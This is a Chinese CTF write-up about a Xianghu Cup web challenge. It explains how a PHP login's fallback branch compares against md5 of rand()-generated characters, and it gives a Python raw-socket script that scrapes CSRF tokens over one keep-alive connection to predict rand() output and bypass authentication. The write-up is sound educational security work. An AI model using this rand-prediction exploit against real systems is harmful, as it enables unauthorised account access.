之前0ctf的时候出的rand题,感觉原理懂了,没有实际操作。
结果昨天湘湖杯遇到了,发现没有想象的那么简单。
http://114.215.220.241/www.rar
可以下到源码,看了下,发现数据库是utf-8的,而且入库的时候都用转义过了。
应该不存在注入的可能。
if(!isset($_SESSION['csrfToken']) || $_SESSION['csrfToken'] != $csrfToken){
echo '<div class="alert alert-danger alert-dismissable">
<button type="button" class="close" data-dismiss="alert" aria-hidden="true">×</button>
Sorry, sth. may be wrong</div>
<div id="returnVal" style="display:none;">false</div>';
}else{
$userid = auth($username, $password);
if($userid){
echo '<div class="alert alert-success">
<button type="button" class="close" data-dismiss="alert" aria-hidden="true">×</button>
Login success.</div>
<div id="returnVal" style="display:none;">true</div>';
$_SESSION['userid'] = (int)$userid;
$_SESSION['isLogin'] = true;
$_SESSION['name'] = $username;
$power = $user->get("select * from user where userid='".$_SESSION['userid']."'")->power;
$_SESSION['power'] = $power;
}else{
...
看一下auth函数
function auth($username, $password){
global $user;//
$sql = "select * from user where username='".$username."'";
$res = $user->get($sql);
if($res){
if(hash_equals($res->password, md5($password.$res->salt))){
return $res->userid;
}
return false;
}
else{
$rand = RandomStr(4);
$passPharse = md5($rand);
return hash_equals(md5($password), $passPharse);
}
}
这个else显然是有问题的...
function RandomStr($len=16){
$chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
$random = '';
for($i = 0; $i < $len; $i++){
$random .= $chars[rand(0, strlen($chars)-1)];//
}
return $random;
}
再看看RandomStr函数,可以确定是预测rand随机数
参考ph师傅和之前找到的php rand 预测文章
https://www.leavesongs.com/PENETRATION/safeboxs-secret.html
http://www.sjoerdlangkemper.nl/2016/02/11/cracking-php-rand/
里面提到php rand函数在linux下有缺陷,符合下面的预测
state[i] = state[i-3] + state[i-31]
于是本地搭建了一个页面测试
<?php
function RandomStr($len=16){
$chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
$random = '';
for($i = 0; $i < $len; $i++){
$random .= $chars[rand(0, strlen($chars)-1)];//
}
return $random;
}
if(!function_exists('hash_equals')) {
function hash_equals($known_string, $user_string) {
$ret = 0;
if (strlen($known_string) !== strlen($user_string)) {
$user_string = $known_string;
$ret = 1;
}
$res = $known_string ^ $user_string;
for ($i = strlen($res) - 1; $i >= 0; --$i) {
$ret |= ord($res[$i]);
}
return !$ret;
}
}
//prevent side-channel. Hacker can't guess any username
function auth($username, $password){
$rand = RandomStr(1);
$passPharse = md5($rand);
return hash_equals(md5($password), $passPharse);
}
echo RandomStr(16);
#echo RandomStr(16)."<br>";
#echo RandomStr(1);
发现在同一个页面显示的时候总是可以成功,但是多次发包的时候就不对了。
发包的时候已经带上了keep-alive,以为是自己服务器没有设置好。
百度半天无果,去请教ph师傅才知道得用python requests.Session()。
然后就可以了 =.= 一脸懵逼,于是抓包看了下
这是request的包
这是requests.Session()的包
woc,客户端怎么自己发了个FIN包,说好的keep-alive呢...
于是想了想,用socket就不会自己发FIN包了,试验一下
import socket
import re
def gogogo():
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect(("114.215.220.241",80))
data = '''GET /login.php HTTP/1.1
Host: 121.42.167.82
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:50.0) Gecko/20100101 Firefox/50.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Referer: http://121.42.167.82/index.php
Cookie: PHPSESSID=5lqvg1b9oemal67g6kh4hjr0l7
Connection: keep-alive
'''
sock.sendall(data)
reply = sock.recv(4096)
#print reply
data1 = re.findall('id="csrfToken" value=(.*)>',reply)[0]
sock.sendall(data)
reply = sock.recv(4096)
data2 = re.findall('id="csrfToken" value=(.*)>',reply)[0]
state = data1+data2
sock.sendall(data)
reply = sock.recv(4096)
data3 = re.findall('id="csrfToken" value=(.*)>',reply)[0]
string ='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'
print (string.index(state[29])+string.index(state[1]))%62
print string.index(data3[0])
return
gogogo()
于是妥妥的进admin.php咯
感觉PHP好难
时间: 2016-12-26 at 15:53 回复